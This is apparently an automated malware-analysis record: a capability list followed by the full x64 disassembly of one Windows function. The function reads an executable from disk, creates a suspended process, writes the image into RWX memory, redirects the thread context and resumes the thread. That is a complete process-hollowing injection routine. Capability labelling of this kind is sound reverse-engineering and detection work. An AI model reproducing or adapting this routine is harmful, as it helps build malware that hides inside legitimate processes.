Function at 0x18000f6c4
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get file size
Read file on windows
Resume thread
Use process replacement

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x518]
sub rsp, 0x5f0
mov r12, rdx
mov r13, r8
mov rsi, rcx
xor edi, edi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov rcx, r12
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f72e
xor eax, eax
jmp 0x18000f969
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call fcn.18000449c
lea r9, [rbp + 0x538]
mov r8d, ebx
mov rcx, r14
mov rdx, rax
mov qword [rsp + 0x20], rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp - 0x48]
lea r8d, [rdx + 0x60]
mov dword [rbp - 0x50], edi
call fcn.180008e20
xor eax, eax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
test rsi, rsi
jne 0x18000f7d3
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov rdx, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov rcx, r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r14, qword [rsp + 0x58]
jmp 0x18000f7ed
mov rax, qword [rsi]
mov r14, qword [rsi + 8]
mov qword [rsp + 0x50], rax
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], rax
movsxd rbx, dword [r15 + 0x3c]
xor edx, edx
lea rcx, [rbp - 0x80]
lea r8d, [rdx + 0x28]
add rbx, r15
mov qword [rsp + 0x78], rdi
call fcn.180008e20
lea rcx, [rbp + 0x28]
xor edx, edx
mov r8d, 0x4c8
mov qword [rbp + 0x20], rdi
call fcn.180008e20
lea rdx, [rbp + 0x20]
mov rcx, r14
mov dword [rbp + 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x18000f949
mov r8d, dword [rbx + 0x50]
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x50]
mov r8, r15
mov qword [rsp + 0x68], rax
mov r9d, dword [rbx + 0x54]
mov rdx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000f949
mov r14d, edi
cmp di, word [rbx + 6]
jae 0x18000f8cb
lea rsi, [rbx + 0x11c]
mov edx, dword [rsi - 8]
mov r8d, dword [rsi]
mov r9d, dword [rsi - 4]
add rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add r8, r15
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000f949
movzx eax, word [rbx + 6]
inc r14d
add rsi, 0x28
cmp r14d, eax
jl 0x18000f891
mov edx, dword [rbp + 0x538]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
lea r8, [rsp + 0x78]
mov r9d, 0x30
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x68]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000f949
mov eax, dword [rbx + 0x28]
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0x20]
add rax, qword [rsp + 0x68]
mov qword [rbp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x18000f949
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.18000445c
mov eax, edi
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret